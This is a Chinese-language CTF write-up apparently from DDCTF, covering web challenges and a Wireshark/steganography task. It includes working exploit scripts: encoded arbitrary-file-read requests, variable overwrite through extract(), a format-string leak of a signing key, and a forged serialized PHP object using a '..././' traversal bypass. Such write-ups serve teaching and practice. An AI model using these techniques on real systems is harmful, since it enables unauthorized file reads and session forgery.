WEB 滴~ 进入发现?jpg=TmpZMlF6WXhOamN5UlRaQk56QTJOdz09
有点像文件读取,应该可以读取敏感文 件,但是不可以直接输入敏感文件的明文 其中TmpZMlF6WXhOamN5UlRaQk56QTJOdz09
应该是通过加密后得到 两次base64,一次base16解密后得到 flag.jpg 得知加密规则 可以写一个python脚本方便操作:
1 2 3 4 5 6 7 import base64import requestss = 'index.php' jpg = base64.b64encode(base64.b64encode("" .join("{:02x}" .format (ord (c)) for c in s).encode('utf-8' ))).decode('utf-8' ) r = requests.get('http://117.51.150.246/index.php' , params={'jpg' : jpg}) print (r.url)print (r.text)
将index.php解密后得到TmprMlJUWTBOalUzT0RKRk56QTJPRGN3
尝试文件读取:?jpg=TmprMlJUWTBOalUzT0RKRk56QTJPRGN3
,界面没有东西,查看源码得到: 发现可以直接base64解码,得到index.php的源码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 <?php error_reporting (E_ALL || ~E_NOTICE);header ('content-type:text/html;charset=utf-8' );if (! isset ($_GET ['jpg' ])) header ('Refresh:0;url=./index.php?jpg=TmpZMlF6WXhOamN5UlRaQk56QTJOdz09' ); $file = hex2bin (base64_decode (base64_decode ($_GET ['jpg' ])));echo '<title>' .$_GET ['jpg' ].'</title>' ;$file = preg_replace ("/[^a-zA-Z0-9.]+/" ,"" , $file );echo $file .'</br>' ;$file = str_replace ("config" ,"!" , $file );echo $file .'</br>' ;$txt = base64_encode (file_get_contents ($file ));echo "<img src='data:image/gif;base64," .$txt ."'></img>" ;?>
可以看到我们可以任意读取文件,但有过滤,限制了只能为数字和字母,且 config 会被转换为感叹号。多番尝试无法绕过。 到 index.php 开头注释里的博客看看,没啥东西。那么到博客里的其他文章转转。发现有这么一篇,进去看看。 发现有practice.txt.swp文件名 直接访问,发现f1ag!ddctf.php 但如果要读取这个文件,直接读取的话感叹号会被过滤。想输入感叹号得用上前面的规则,也就是 config 被替换为感叹号 将!
换成config
,将f1agconfigddctf.php
使用同样编码方式编码后,放入?jpg后,查看源码发现一串字符传,base64解码得到config.php
的源码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 <?php include ('config.php' );$k = 'hello' ;extract ($_GET );if (isset ($uid )){ $content =trim (file_get_contents ($k )); if ($uid ==$content ) { echo $flag ; } else { echo 'hello' ; } } ?>
变量覆盖 get传参?k=&uid=
得到flag
签到题 靶机:http://117.51.158.44/index.php 1、打开靶机,发现是这个页面。 2、查看一下页面源代码,发现 js/index.js 中有东西,它请求了 /app/Auth.php 这个地址。还带上了 didictf_username 这个头。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 function auth ( ) { $.ajax ({ type : "post" , url :"http://117.51.158.44/app/Auth.php" , contentType : "application/json;charset=utf-8" , dataType : "json" , beforeSend : function (XMLHttpRequest) { XMLHttpRequest.setRequestHeader ("didictf_username" , "" ); }, success: function (getdata ) { console.log (getdata); if (getdata.data !== '' ) { document.getElementById ('auth' ).innerHTML = getdata.data; } },error:function (error ) { console.log (error); } }); }
3.带上didictf_username=admin这个头访问/app/Auth.php地址试试 发先已经进去了,访问 app/fL2XID2i0Cdh.php,获得两个文件源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 url:app/Application.php Class Application { var $path = '' ; public function response ($data , $errMsg = 'success' ) { $ret = ['errMsg' => $errMsg , 'data' => $data ]; $ret = json_encode ($ret ); header ('Content-type: application/json' ); echo $ret ; } public function auth ( ) { $DIDICTF_ADMIN = 'admin' ; if (!empty ($_SERVER ['HTTP_DIDICTF_USERNAME' ]) && $_SERVER ['HTTP_DIDICTF_USERNAME' ] == $DIDICTF_ADMIN ) { $this ->response ('您当前当前权限为管理员----请访问:app/fL2XID2i0Cdh.php' ); return TRUE ; }else { $this ->response ('抱歉,您没有登陆权限,请获取权限后访问-----' ,'error' ); exit (); } } private function sanitizepath ($path ) { $path = trim ($path ); $path =str_replace ('../' ,'' ,$path ); $path =str_replace ('..\\' ,'' ,$path ); return $path ; } public function __destruct ( ) { if (empty ($this ->path)) { exit (); }else { $path = $this ->sanitizepath ($this ->path); if (strlen ($path ) !== 18 ) { exit (); } $this ->response ($data =file_get_contents ($path ),'Congratulations' ); } exit (); } } url:app/Session.php include 'Application.php' ;class Session extends Application { var $eancrykey = '' ; var $cookie_expiration = 7200 ; var $cookie_name = 'ddctf_id' ; var $cookie_path = '' ; var $cookie_domain = '' ; var $cookie_secure = FALSE ; var $activity = "DiDiCTF" ; public function index ( ) { if (parent ::auth ()) { $this ->get_key (); if ($this ->session_read ()) { $data = 'DiDI Welcome you %s' ; $data = sprintf ($data ,$_SERVER ['HTTP_USER_AGENT' ]); parent ::response ($data ,'sucess' ); }else { $this ->session_create (); $data = 'DiDI Welcome you' ; parent ::response ($data ,'sucess' ); } } } private function get_key ( ) { $this ->eancrykey = file_get_contents ('../config/key.txt' ); } public function session_read ( ) { if (empty ($_COOKIE )) { return FALSE ; } $session = $_COOKIE [$this ->cookie_name]; if (!isset ($session )) { parent ::response ("session not found" ,'error' ); return FALSE ; } $hash = substr ($session ,strlen ($session )-32 ); $session = substr ($session ,0 ,strlen ($session )-32 ); if ($hash !== md5 ($this ->eancrykey.$session )) { parent ::response ("the cookie data not match" ,'error' ); return FALSE ; } $session = unserialize ($session ); if (!is_array ($session ) OR !isset ($session ['session_id' ]) OR !isset ($session ['ip_address' ]) OR !isset ($session ['user_agent' ])){ return FALSE ; } if (!empty ($_POST ["nickname" ])) { $arr = array ($_POST ["nickname" ],$this ->eancrykey); $data = "Welcome my friend %s" ; foreach ($arr as $k => $v ) { $data = sprintf ($data ,$v ); } parent ::response ($data ,"Welcome" ); } if ($session ['ip_address' ] != $_SERVER ['REMOTE_ADDR' ]) { parent ::response ('the ip addree not match' .'error' ); return FALSE ; } if ($session ['user_agent' ] != $_SERVER ['HTTP_USER_AGENT' ]) { parent ::response ('the user agent not match' ,'error' ); return FALSE ; } return TRUE ; } private function session_create ( ) { $sessionid = '' ; while (strlen ($sessionid ) < 32 ) { $sessionid .= mt_rand (0 ,mt_getrandmax ()); } $userdata = array ( 'session_id' => md5 (uniqid ($sessionid ,TRUE )), 'ip_address' => $_SERVER ['REMOTE_ADDR' ], 'user_agent' => $_SERVER ['HTTP_USER_AGENT' ], 'user_data' => '' , ); $cookiedata = serialize ($userdata ); $cookiedata = $cookiedata .md5 ($this ->eancrykey.$cookiedata ); $expire = $this ->cookie_expiration + time (); setcookie ( $this ->cookie_name, $cookiedata , $expire , $this ->cookie_path, $this ->cookie_domain, $this ->cookie_secure ); } } $ddctf = new Session ();$ddctf ->index ();
4.先带 Header 访问一下 /app/Session.php,获取到 ddctf_id 这个 Cookie。 5.审计源码,发现我们先获取 eancrykey 试试比较合适。 nickname 传 %s,第二次 format 的时候就会把 eancrykey 给格式化上了。
1 2 3 4 5 6 7 8 if (!empty ($_POST ["nickname" ])) { $arr = array ($_POST ["nickname" ],$this ->eancrykey); $data = "Welcome my friend %s" ; foreach ($arr as $k => $v ) { $data = sprintf ($data ,$v ); } parent ::response ($data ,"Welcome" ); }
6.然后构造 POST 请求。记住带上 Header。然后就可以获取到 eancrykey 了。 7.然后继续审计源码,发现有对输入反序列化。unserialize($session);
8.再来看看刚才拿到的 ctf_id,发现里面是序列化后的结果。这个就是 Session 对象了 9.再来看 Application 对象的源码,里面的析构方法会在对象销毁时检查 path 这个成员变量,长度为 18 就会读取 path 所指向的那个文件。又根据下面的源码推测 flag 在 ../config/flag.txt。
1 2 3 4 5 6 7 8 9 10 11 12 public function __destruct ( ) { if (empty ($this ->path)) { exit (); }else { $path = $this ->sanitizepath ($this ->path); if (strlen ($path ) !== 18 ) { exit (); } $this ->response ($data =file_get_contents ($path ),'Congratulations' ); } exit (); }
10.那么我们就把它的源码拷下来,用它的源码和 eancrykey 给自己序列化之后的对象签名了。同时注意 path 这个变量,由于对 ../ 有过滤,path 我们得写成 …/./config/flag.txt 来绕过过滤。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 <?php Class Application { var $path = '' ; public function response ($data , $errMsg = 'success' ) { $ret = ['errMsg' => $errMsg , 'data' => $data ]; $ret = json_encode ($ret ); header ('Content-type: application/json' ); echo $ret ; } public function auth ( ) { $DIDICTF_ADMIN = 'admin' ; if (!empty ($_SERVER ['HTTP_DIDICTF_USERNAME' ]) && $_SERVER ['HTTP_DIDICTF_USERNAME' ] == $DIDICTF_ADMIN ) { $this ->response ('您当前当前权限为管理员----请访问:app/fL2XID2i0Cdh.php' ); return TRUE ; }else { $this ->response ('抱歉,您没有登陆权限,请获取权限后访问-----' ,'error' ); exit (); } } private function sanitizepath ($path ) { $path = trim ($path ); $path =str_replace ('../' ,'' ,$path ); $path =str_replace ('..\\' ,'' ,$path ); return $path ; } public function __destruct ( ) { if (empty ($this ->path)) { exit (); }else { $path = $this ->sanitizepath ($this ->path); echo "\n" .strlen ($path ); if (strlen ($path ) !== 18 ) { exit (); } $this ->response ($data =file_get_contents ($path ),'Congratulations' ); } exit (); } } class Session extends Application { var $path = '..././config/flag.txt' ; var $eancrykey = 'EzblrbNS' ; var $cookie_expiration = 7200 ; var $cookie_name = 'ddctf_id' ; var $cookie_path = '' ; var $cookie_domain = '' ; var $cookie_secure = FALSE ; var $activity = "DiDiCTF" ; var $session_id = 'e989f2486e618ad5fa6d5e732acaa589' ; var $ip_address = '116.136.20.161' ; var $user_agent = '' ; var $user_data = '' ; public function index ( ) { if (parent ::auth ()) { $this ->get_key (); if ($this ->session_read ()) { $data = 'DiDI Welcome you %s' ; $data = sprintf ($data ,$_SERVER ['HTTP_USER_AGENT' ]); parent ::response ($data ,'sucess' ); }else { $this ->session_create (); $data = 'DiDI Welcome you' ; parent ::response ($data ,'sucess' ); } } } private function get_key ( ) { $this ->eancrykey = file_get_contents ('../config/key.txt' ); } public function session_read ( ) { if (empty ($_COOKIE )) { return FALSE ; } $session = $_COOKIE [$this ->cookie_name]; if (!isset ($session )) { parent ::response ("session not found" ,'error' ); return FALSE ; } $hash = substr ($session ,strlen ($session )-32 ); $session = substr ($session ,0 ,strlen ($session )-32 ); if ($hash !== md5 ($this ->eancrykey.$session )) { parent ::response ("the cookie data not match" ,'error' ); return FALSE ; } $session = unserialize ($session ); if (!is_array ($session ) OR !isset ($session ['session_id' ]) OR !isset ($session ['ip_address' ]) OR !isset ($session ['user_agent' ])){ return FALSE ; } if (!empty ($_POST ["nickname" ])) { $arr = array ($_POST ["nickname" ],$this ->eancrykey); $data = "Welcome my friend %s" ; foreach ($arr as $k => $v ) { $data = sprintf ($data ,$v ); } parent ::response ($data ,"Welcome" ); } if ($session ['ip_address' ] != $_SERVER ['REMOTE_ADDR' ]) { parent ::response ('the ip addree not match' .'error' ); return FALSE ; } if ($session ['user_agent' ] != $_SERVER ['HTTP_USER_AGENT' ]) { parent ::response ('the user agent not match' ,'error' ); return FALSE ; } return TRUE ; } public function session_create ( ) { $sessionid = '' ; while (strlen ($sessionid ) < 32 ) { $sessionid .= mt_rand (0 ,mt_getrandmax ()); } $userdata = $this ; $cookiedata = serialize ($userdata ); $cookiedata = $cookiedata .md5 ($this ->eancrykey.$cookiedata ); $expire = $this ->cookie_expiration + time (); setcookie ( $this ->cookie_name, $cookiedata , $expire , $this ->cookie_path, $this ->cookie_domain, $this ->cookie_secure ); return $cookiedata ; } } $ddctf = new Session ();echo $ddctf ->session_create ();
11.运行这个脚本,得到序列化之后的对象。 12.放到 UrlEncode Encode 一下。 13.置 Cookie,请求。 flag到手~
MISC Wireshark 发现有HTTP流,将HTTP文件全部导出,发现有一张图片。(其实这张图片根本没用2333) 发现其他文件有数据不对。尝试foremost提取,提取到一个1.7MB的图片和一张钥匙图片 修改图片高度发现key 使用在线图片解密隐藏信息(隐写术)工具网站http://tools.jb51.net/aideddesign/img_add_info
base16解密这串数字44444354467B5145576F6B63704865556F32574F6642494E37706F6749577346303469526A747D
得到flag